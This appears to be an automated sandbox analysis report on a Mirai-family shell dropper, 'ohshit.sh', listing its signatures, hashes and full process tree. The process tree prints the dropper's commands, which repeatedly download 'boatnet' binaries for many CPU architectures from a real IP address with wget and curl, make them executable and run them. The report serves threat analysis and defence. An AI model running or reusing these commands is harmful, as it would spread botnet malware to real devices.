Analysis
-
max time kernel
150s -
max time network
155s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
17-12-2024 06:26
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
14099ca3ba60ee276a8d96c4b47cd58f
-
SHA1
d46e02797df3f7be4bf440003b2296ffe8992451
-
SHA256
e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5
-
SHA512
249ced36cbe0e9ab7f4dabbcfcc1891e3fc582f6ab523a22a3f5bddfc3d9ce83686152cda53a6b4b922fee3b3b5b28436f3342ed31b15fea0a324b0c2f30dab9
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 734 chmod 871 chmod 889 chmod 727 chmod 804 chmod 839 chmod 865 chmod 745 chmod 767 chmod 859 chmod 786 chmod 809 chmod 817 chmod 877 chmod 883 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/WTF 728 WTF /tmp/WTF 735 WTF /tmp/WTF 746 WTF /tmp/WTF 769 WTF /tmp/WTF 788 WTF /tmp/WTF 805 WTF /tmp/WTF 810 WTF /tmp/WTF 818 WTF /tmp/WTF 841 WTF /tmp/WTF 860 WTF /tmp/WTF 866 WTF /tmp/WTF 872 WTF /tmp/WTF 878 WTF /tmp/WTF 884 WTF /tmp/WTF 890 WTF -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF -
Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF -
resource yara_rule behavioral4/files/fstream-1.dat upx behavioral4/files/fstream-4.dat upx -
description ioc Process File opened for reading /proc/822/cmdline WTF File opened for reading /proc/848/cmdline WTF File opened for reading /proc/791/cmdline WTF File opened for reading /proc/837/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/783/cmdline WTF File opened for reading /proc/851/cmdline WTF File opened for reading /proc/858/cmdline WTF File opened for reading /proc/800/cmdline WTF File opened for reading /proc/875/cmdline WTF File opened for reading /proc/880/cmdline WTF File opened for reading /proc/886/cmdline WTF File opened for reading /proc/887/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/547/cmdline WTF File opened for reading /proc/694/cmdline WTF File opened for reading /proc/697/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/695/cmdline WTF File opened for reading /proc/855/cmdline WTF File opened for reading /proc/492/cmdline WTF File opened for reading /proc/676/cmdline WTF File opened for reading /proc/813/cmdline WTF File opened for reading /proc/835/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/863/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/506/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/869/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/696/cmdline WTF File opened for reading /proc/824/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/844/cmdline WTF File opened for reading /proc/874/cmdline WTF File opened for reading /proc/881/cmdline WTF File opened for reading /proc/830/cmdline WTF File opened for reading /proc/853/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/699/cmdline WTF File opened for reading /proc/829/cmdline WTF File opened for reading /proc/876/cmdline WTF File opened for reading /proc/815/cmdline WTF File opened for reading /proc/838/cmdline WTF File opened for reading /proc/862/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/548/cmdline WTF File opened for reading /proc/828/cmdline WTF File opened for reading /proc/857/cmdline WTF -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 730 wget 732 curl 733 cat -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.spc wget File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.spc curl File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.i468 curl
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:697 -
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:702
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:716
-
-
/bin/catcat boatnet.x862⤵PID:725
-
-
/bin/chmodchmod +x boatnet.x86 ohshit.sh systemd-private-42d3a74da0534226a95c59cd6538176e-systemd-timedated.service-y8BYW3 WTF2⤵
- File and Directory Permissions Modification
PID:727
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:728
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:730
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:732
-
-
/bin/catcat boatnet.mips2⤵
- System Network Configuration Discovery
PID:733
-
-
/bin/chmodchmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-42d3a74da0534226a95c59cd6538176e-systemd-timedated.service-y8BYW3 WTF2⤵
- File and Directory Permissions Modification
PID:734
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:735
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:737
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:738
-
-
/bin/catcat boatnet.arc2⤵PID:743
-
-
/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-42d3a74da0534226a95c59cd6538176e-systemd-timedated.service-y8BYW3 WTF2⤵
- File and Directory Permissions Modification
PID:745
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:746
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.i4682⤵PID:749
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.i4682⤵
- Reads runtime system information
- Writes file to tmp directory
PID:755
-
-
/bin/catcat boatnet.i4682⤵PID:766
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:767
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:769
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.i6862⤵PID:771
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:776
-
-
/bin/catcat boatnet.i6862⤵PID:785
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:786
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:788
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.x86_642⤵PID:790
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:797
-
-
/bin/catcat boatnet.x86_642⤵PID:802
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:804
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:805
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:806
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:807
-
-
/bin/catcat boatnet.mpsl2⤵PID:808
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:809
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:810
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:814
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:815
-
-
/bin/catcat boatnet.arm2⤵PID:816
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:817
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:818
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:822
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:829
-
-
/bin/catcat boatnet.arm52⤵PID:838
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:839
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:841
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:844
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:851
-
-
/bin/catcat boatnet.arm62⤵PID:858
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:859
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:860
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:862
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:863
-
-
/bin/catcat boatnet.arm72⤵PID:864
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:865
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:866
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:868
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:869
-
-
/bin/catcat boatnet.ppc2⤵PID:870
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:871
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:872
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:874
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:875
-
-
/bin/catcat boatnet.spc2⤵PID:876
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:877
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:878
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:880
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:881
-
-
/bin/catcat boatnet.m68k2⤵PID:882
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:883
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:884
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:886
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:887
-
-
/bin/catcat boatnet.sh42⤵PID:888
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:889
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:890
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
23KB
MD56fe91c74b1b05a80f873aee4469295a1
SHA149a298d76e4fbe9eaeac30b8605768dd8e056a13
SHA256a54abbc376c37db927543c21f7cbf077ee79fe431d1077c097905578d745217d
SHA512bfc65a89536d21460600b3fc68c79431bfeed5762d361f9de678a86c1d6cfa6d4dd8b9cd9e51e665bb8fd80cb4c17a27040bfa3dd0f701bd188d05e6e5e87ee9
-
Filesize
105KB
MD522adf97779be193482a6db01193ce210
SHA114528e43c9961e659c2da4b6817980f88574f1a8
SHA25620676259d6cf8fb652401cc7c26a2401f9a1807d525d8827514a1cea33beba5e
SHA5127ae547f5386f1110425b5ceffb1106a1590e0a4cb5b44bc836bf9c1495ad7d2e18cb8d779ef37363343b2954ee3e9db7365291aacf3f6434a064f0bfb9b4667d
-
Filesize
220B
MD5f1c24d9fa40a047ae22d2d3ae7dfeac9
SHA1750274b02d5f5b00026a4f55b020f4285c693533
SHA256219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc
SHA51236bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259
-
Filesize
220B
MD5a8f502a6fb3b7b940e922c951d9e493a
SHA1fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf
SHA256748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec
SHA512e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338
-
Filesize
57KB
MD59f4720b3e89b01a76e0cad6f1f9ad931
SHA1e17ee935e1a7fbd814d2ae2216504010a2e3fb06
SHA2567c9c17f50036ecd7c6750ef831cce060fcd266f0eae091bc4c9d55fbf7b40efc
SHA51285ea4b63357452698d39e6456505bd1f58d4b552c377e07062be285eca217618fc688e233f2ef19cc550592244d0e773695d024b1df577e47e67d0c00b79856c
-
Filesize
20KB
MD5e91063f55319252533dd4b79524515e8
SHA1f6d254d0a708dd18917a3db48eec8b27fd2c7526
SHA25681a71e612fb13a5d427bac91e1194caee587393ef18b7bf19ed41ace248ce603
SHA512ce06b49dede7b5101d49a4cdb2959d44f4da5824e8d8d1bced490e9245e14b540c621f68960be9a14620b5800aa3136363295b269f95f10dd68782fdfba435f5